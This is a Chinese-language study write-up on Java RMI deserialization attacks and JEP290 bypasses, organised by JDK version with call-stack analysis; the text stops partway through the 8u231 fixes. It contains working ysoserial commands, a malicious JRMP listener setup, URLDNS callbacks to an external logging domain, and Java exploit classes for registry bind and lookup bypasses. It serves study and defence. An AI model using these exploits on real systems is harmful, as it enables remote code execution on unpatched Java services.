浅谈Java RMI 攻击面和利用
背景
4年前学习过但是工作中几乎用不到已经忘了,基于最近的契机简单重新一下RMI相关的知识点。
目标:了解攻击面、利用方法、了解原理&利用链的构造、检测方法
from internet ,for internet
相关概念如下:
RMI:remote method invocation(Remote Method Invocation,远程方法调用)
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写。
Java本身对RMI规范的实现默认使用的是JRMP协议。Weblogic对RMI规范的实现使用T3协议
Java RMI通信简述:RPC通信时,client的obj需要调用server的接口:1)client首先通过RMIRegistry知道 server在哪里(底层是stub,封装了server远程对象的信息) 2)请求Server的接口参数和返回数据全部通过序列化传输 。
不考虑绕过的情况:
(jdk版本升级后的情况)绕过的情况:
首次整理:2020年5月11日
更新时间:2024年5月11日
RMI的一个经典例子
先看一个已经烂大街的demo,本地代码参考 rmi
1、客户端和服务端定义好接口Hello
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
String sayHello() throws RemoteException;
}
2、服务端实现接口实现类HelloImpl(继承UnicastRemoteObject)
package com.example.basicstudy.rmi;
import ysoserial.payloads.URLDNS;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "hello world";
}
}
3、服务端注册 对象到RMIRegistry 供客户端调用
package com.example.basicstudy.rmi;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public static void main(String args[]) {
try {
System.out.println("[*] rmi server start...");
HelloImpl obj = new HelloImpl();
// Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098); (如果obj没有继承 UnicastRemoteObject)
// Bind the remote object's stub in the registry
Registry registry = LocateRegistry.createRegistry(1099); // LocateRegistry.getRegistry(1099);
registry.rebind("Hello", obj);
// 等同于
// Naming.rebind("rmi://127.0.0.1:1099/Hello", obj);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
4、客户端在RMIRegistry根据name搜索到对象,调用方法完成一次RMI调用
package com.example.basicstudy.rmi;
import ysoserial.payloads.URLDNS;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteStub;
import java.util.Arrays;
public class RMIClient {
private RMIClient() {}
public static void main(String[] args) throws Exception {
new RMIClient().test01HelloWorld();
}
/**
* RMI原理demo:rmi client调用rmi server的方法
* */
public void test01HelloWorld() {
try {
Registry registry = LocateRegistry.getRegistry(1099);
// 2024-04-30
Hello stub = (Hello) registry.lookup("Hello");
// Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
RMI调用成功:
原理分析关键点:
1)接口对象的传输涉及到序列化和反序列化
(忽略这个2. 如果接口参数类型的子类在client和server上没有,则需要去指定的codebase(java.rmi.server.codebase)加载(默认不开)——
2)实际远程方法的调用在UnicastServerRef#dispatch中:
- unmarshalParameters解析参数 (UnicastRef#unmarshalValue 获取)
- var42.invoke(var1, var9):反射调用获取结果。
参数解析位置:
// (UnicastRef#unmarshalValue 获取)
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject(); // here
}
}
函数调用时:
源码分析:
1、https://tttang.com/archive/1530/
2、https://www.cnblogs.com/binarylei/p/12115986.html
RMI相关的攻击面(Server和Client)
对象:RMI Client、 RMI Server、RMI Registry
RMI Client攻击 RMI Server ✅
参考参考链接1
条件:接口存在 Object参数(如下面的testAttackRMIServer函数的参数为Object)
攻击方法:client构造恶意对象,触发服务端反序列化
参考 test02AttackRMIServer
Hello接口 新增一个 testAttackRMIServer 函数,参数为Object
package com.example.basicstudy.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
String sayHello() throws RemoteException;
String testAttackRMIServer(Object o) throws RemoteException;
}
HelloImpl: 实现这个接口testAttackRMIServer,返回个字符串。
package com.example.basicstudy.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "hello world";
}
@Override
public String testAttackRMIServer(Object o) throws RemoteException {
System.out.println("testAttackRMIServer obj: " + o.toString());
return "hello testAttackRMIServer";
}
}
RMI Client 在registry拿到stub后,调用该危险的函数,发送一个恶意的对象(这里用URLDNS为例,发过去 触发RMI Server中的反序列化)
public void test02AttackRMIServer() throws Exception {
Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(stub.testAttackRMIServer(new URLDNS().getObject("http://test.s.dlsr.icu")));
}
利用成功。
原理分析,在获取客户端参数时触发Server中的UnicastRef#unmarshalValue 中的readObject导致反序列化。
resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server) // Server获取Client传递过来的参数时,在UnicastRef#unmarshalValue中 触发反序列化
dispatch:308, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 827278896 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
如何发现这样的接口和利用?参考:RMI 相关工具使用 - RmiTaste
RMI Server攻击 RMI Client ✅
同理,HelloImpl 增加一个接口,返回一个Object(这里为URLDNS链中的恶意的hashmap对象)。
@Override
public Object testAttackRMIClient(String msg) throws Exception {
System.out.println("testAttackRMIClient msg: " + msg);
return new URLDNS().getObject("http://test.testAttackRMIClient.s.dlsr.icu");
}
RMIClient调用该接口,会接受一个恶意的对象,触发反序列化,发起DNS请求:
public void test03AttackRMIClient() throws Exception {
Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(stub.testAttackRMIClient("test test03AttackRMIClient"));
}
利用成功。
Server的调用栈几乎同上,Server返回的Object为恶意的Object
testAttackRMIClient:36, HelloImpl (com.example.basicstudy.rmi) // 这里返回一个恶意的Object给客户端
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect) //反射调用 Server实现的方法
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 2082672303 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
原理分析:Client处理Server返回的数据时,调用栈如下:同样在 UnicastRef#unmarshalValue 中触发readObject导致反序列化。
resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server) // trigger here
invoke:175, UnicastRef (sun.rmi.server)
invokeRemoteMethod:194, RemoteObjectInvocationHandler (java.rmi.server)
invoke:148, RemoteObjectInvocationHandler (java.rmi.server)
testAttackRMIClient:-1, $Proxy0 (com.sun.proxy)
test03AttackRMIClient:85, RMIClient (com.example.basicstudy.rmi)
main:36, RMIClient (com.example.basicstudy.rmi)
RMIRegistry的攻击方法
简述
jdk版本 | fix | 利用方法 | 反序列化触发点 |
---|---|---|---|
<8u121 | 无 | registry.bind(name, remote); bind一个动态代理的恶意对象 参考:ysoserial RMIRegistryExploit |
RegistryImpl_Skel#dispatch中 bind之前的readObject |
- | 无 | 自定义dgc请求 参考:ysoserial JRMPClient |
DGCImpl_Skel#dispatch的 dirty和clean 前的readObject |
8u121 | Jep290 - RegistryImpl.java#registryFilter - DGCImpl#checkInput - trustURLCodebase=false |
UnicastRef链,让RMIRegistry作为DGC客户端请求恶意的RMIRegistry 参考:1)本地利用代码 2)ysoserial JRMPListener |
RegistryImpl_Skel #dispatch -> bind之前的var2.releaseInputStream() -> DGCImpl_Stub#dirty |
8u141 | RegistryImpl_Skel.java#dispatch中针对bind/rebind等操作增加ACL限制:RegistryImpl#checkAccess | 重写RegistryImpl_Stub#lookup,发送Object而非string类型,触发RegistryImpl_Skel#dispatch中lookup中的var2.releaseInputStream | 同上 不过是lookup之前的 var2.releaseInputStream() |
8u231 | 1)var2.releaseInputStream前清除反连地址 2)DGCImpl_Stub#dirty/clean前增加白名单 |
UnicastRemoteObject链(blackhat2019 ) | RegistryImpl_Skel #dispatch lookup前的readObject |
8u241 | 1)强制类型转换,RegistryImpl_Skel lookup等方法获取String 2)修复 UnicastRemoteObject链: RemoteObjectInvocationHandler #invokeRemoteMethod invoke前检查类是否实现Remote接口 |
- 利用自定义方法 |
/**
* 1) jdk < 8u121 fix:无
* 利用1: registry.bind(name, remote); bind一个动态代理的恶意对象 触发 RegistryImpl_Skel#dispatch中 bind之前的readObject。(参考ysoserial RMIRegistryExploit)
* 利用2: dgc请求 直接触发 DGCImpl_Skel#dispatch的 dirty和clean 前的readObject (参考ysoserial JRMPClient)
* 2) jdk = 8u121 fix: jep290( RegistryImpl.java#registryFilter、sun.rmi.transport.DGCImpl#checkInput、trustURLCodebase=false),1和2相当于反序列化白名单
* 2绕过:利用RegistryImpl白名单中的UnicastRef链 实现二次反序列化,调用releaseInputStream触发DGC请求;在DGCImpl_Stub请求恶意的RMIRegistry反序列化任意类。
* 2) jdk = 8u141 fix: RegistryImpl_Skel.java#dispatch中调用RegistryImpl#checkAccess 地址检测
* 3绕过1:重写RegistryImpl_Stub#lookup,发送Object而非string类型,触发RegistryImpl_Skel#dispatch中bind中的readObject
* 绕过2:不进入oldDispatch,调用自定义方法(Registry.bind)
* 3) jdk = 8u231 fix: 1)RegistryImpl_Skel中触发JRMP反连前(StreamRemoteCall#releaseInputStream前),清除UnicastRef的反连地址
* 2)DGCImpl_Stub#dirty/clean前增加白名单:(DGCImpl_Stub#leaseFilter)
* 4绕过:UnicastRemoteObject(blackhat 2019)链
* 4) jdk = 8u241 fix: 1)强制类型转换,RegistryImpl_Skel lookup等方法获取String
* 2)修复 UnicastRemoteObject链:RemoteObjectInvocationHandler#invokeRemoteMethod invoke前检查类是否实现Remote接口
* 绕过:利用自定义方法
* */
1、jdk<8u121(无任何限制)
1)RMI Server 攻击RMI Registry 1099端口 ✅ (bind恶意的remote对象到注册中心)
原理:RMI Server在注册中心bind一个恶意的remote对象,触发RMI Registry(RegistryImpl_Skel中的反序列化)
攻击方法:ysoserial RMIRegistryExploit ,参考链接1
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 URLDNS http://testycx.d.s.dlsr.icu
攻击代码:ysoserial.exploit.RMIRegistryExploit
核心逻辑:ysoserial.exploit.RMIRegistryExploit
反射获取对应的恶意序列化对象(payloadObj.getObject(command);) -> 放到hashmap中 -> 动态代理 createMemoitizedProxy 把hashmap变成remote对象 -> bind到registry服务中触发反序列化。
为什么要通过动态代理这样做?参考动态代理的原理:https://xz.aliyun.com/t/9197 (动态代理相对静态代理,在接口变化时不需要修改委托类和代理类,避免反复修改) (触发过程有点复杂)
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
// 20240507 为什么需要动态代理把恶意对象Map变成remote类型?
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
原理分析:参考 RegistryImpl_Skel#dispatch ,触发点在 var10.readObject()
调用栈:
resolveClass:198, MarshalInputStream (sun.rmi.server) // MarshalInputStream 非ObjectInputStream(常见的rasp拿不到数据)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readProxyDesc:1576, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 859081915 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
2)RMI Client 攻击 RMI Registry 1099端口 ✅ (DGC通信:DGCImpl_Skel#dispatch dirty)
原理:makeDGCCall 攻击 DGCImpl_Skel的dispatch,触发反序列化 参考:https://zhuanlan.zhihu.com/p/407782929
makeDGCCall函数发送生成的payload,攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,因为RMI框架采用DGC来管理远程对象的生命周期,通过与DGC通信的方式发送恶意payload让注册中心反序列化。
利用:
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 URLDNS http://test.jrmpclient-attack-rmiregistry.s.dlsr.icu
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "open /System/Applications/Calculator.app"
触发点:DGCImpl_Skel#dispatch的 case0/case1中的readObject
调用栈:
resolveClass:198, MarshalInputStream (sun.rmi.server) // 反序列化
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport) // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 983939482 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
思考题:
1、这两个地方的对象是否有区别?比如bind时对象必须要实现Remote接口,DGC时不需要?
2、jdk >= 8u121 :新增jep290 check,通过 UnicastRef链绕过
JEP290是什么?
JEP290是对RMI Registry与RMI DGC做的白名单限制,并没有对JRMP回连逻辑做限制,而白名单中的UnicastRef类会建立JRMP请求并对返回数据做反序列化处理,所以导致二次反序列化问题
原理参考:https://blog.0kami.cn/blog/2020/rmi-registry-security-problem-20200206/#1-unicastref
JEP290中的限制,RegistryImpl 中增加了反序列化的白名单,因此不在白名单中的类无法反序列化。
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
if (registryFilter != null) {
ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
如何绕过?利用白名单中的类,UnicastRef类被证明可利用:可让RMI Registry作为客户端查询 发起DGC请求 恶意的RMI Registry,触发客户端的反序列化。由于DGC请求时的类为DGCImpl_Stub,没有jep290限制,可以反序列化任意类。利用流程:
利用方式点:
1、 构造一个恶意的RMI Registry,监听在10999端口
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"
2、 bind 恶意对象(UnicastRef)到Registry : (对应ysoserial中的 payloads/JRMPClient.java )
package com.example.basicstudy.rmi;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.Random;
public class RMIRegistryExploit8u121UnicastRef {
// 1. 开启 JRMPListener (恶意的RMIRegistry)
// java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"
// 2. 条件:RMIRegistry 没有限制 注册Server的来源 && DGCImpl_Stub 没有 白名单限制
public static void main(String args[]) {
try {
System.out.println("[*] rmi server (RMIRegistryExploit8u121UnicastRef) start...");
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj); // 可以省略
registry.rebind("hello2", proxy);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
测试环境:还是用jdk8u40测试,(实际测试 jdk8u191中 DGCImpl_Stub中存在 白名单限制)
利用成功后,RMI Registry会作为客户端发起DGC请求恶意恶意的RMI Registry 10999端口:
漏洞触发点:在releaseInputStream中触发反序列化
调用栈:
resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io) // end here
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport) // 作为客户端,发起dgc请求
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
registerRefs:94, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport) // var2.releaseInputStream();,在bind之前触发
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) // start here: dispatch中的触发点:
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 419636770 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
// 备注:自测readObject UnicastRef 链 反序列化的触发点不太一样,最终也可以走到DGCImpl_Stub#dirty
dirty:-1, DGCImpl_Stub (sun.rmi.transport) // DGC Call here
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server) //
readObject:455, RemoteObject (java.rmi.server) // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:109, DeserializeJDK (com.example.controller)
main:42, RMIRegistryExploit8u121UnicastRef (com.example.basicstudy.rmi)
利用链原理分析:(略,尝试分析了不过后来发现大概知道原理,能用就行)
1、RemoteObject的readObject方法被重写,最后调用RemoteRef类的 ref.readExternal(in);
2、RemoteObjectInvocationHandler是RemoteObject的之类;UnicastRef是RemoteRef的子类。
UnicastRef链原理: https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
3、jdk >= 8u141 (checkAccess 来源地址绕过)
JEP290中针对 RegistryImpl_Skel#dispatch中 在bind unbind rebind操作的开始增加了中checkAccess检查:只允许来源为本地。如:RegistryImpl.checkAccess("Registry.bind");
如何绕过?UnicastRef链的触发点在 releaseInputStream,因此可以在 lookup处理的case中触发。
如何利用?
1)重写客户端的Registry.lookup函数(RegistryImpl_Stub的lookup参数),原本只能传输String参数,重写后发送Object发给RMIRegistry反序列化 (触发 RegistryImpl_Skel 中的 lookup 中的releaseInputStream,链依然使用 UnicastRef链触发后续的DGC请求。
重写了lookup方法使其可以传入Object类型的参数
利用代码:1、重写lookup (参考 RegistryImpl_Stub#lookup的代码重写,能触发 RegistryImpl_Skel的lookup即可) 2、传入UnicastRef链
public class RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
// bypass jdk8u121(jep290) +jdk8u141 (checkAccess) , restrict: < jdk8u231
lookupObject(registry, getUnicastRefObject()); // trigger lookup函数
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
// see also ysoserial.payloads.JRMPClient
private static Object getUnicastRefObject() {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
// Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj);
// return proxy;
return obj;
}
// 本质上是重写了 RegistryImpl_Stub的lookup参数,传了一个Object过去,触发 RegistryImpl_Skel 中的 lookup case(无checkAccess限制)
public static Remote lookupObject(Registry registry, Object var1) throws Exception {
// RegistryImpl_Stub#bind
try {
// RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
ref.invoke(var2);
//处理返回信息的代码逻辑也可以删除
// ...
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
}
调用栈:
resolveClass:189, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport) // readObject here
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport) // make dgc call (fix in jdk8u231)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport) //(fix in jdk8u231,类型转换异常时后清除了反连地址,没有需要注册的了)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport) // also trigger here (lookup中的releaseInputStream)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 578858033 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
4、jdk >= 8u231
8u231的check,修复了unicastref链。如何修复的的?
1、releaseInputStream前增加 discardPendingRefs() ,清除UnicastRef的反连地址。(ConnectionInputStream->incomingRefTable)
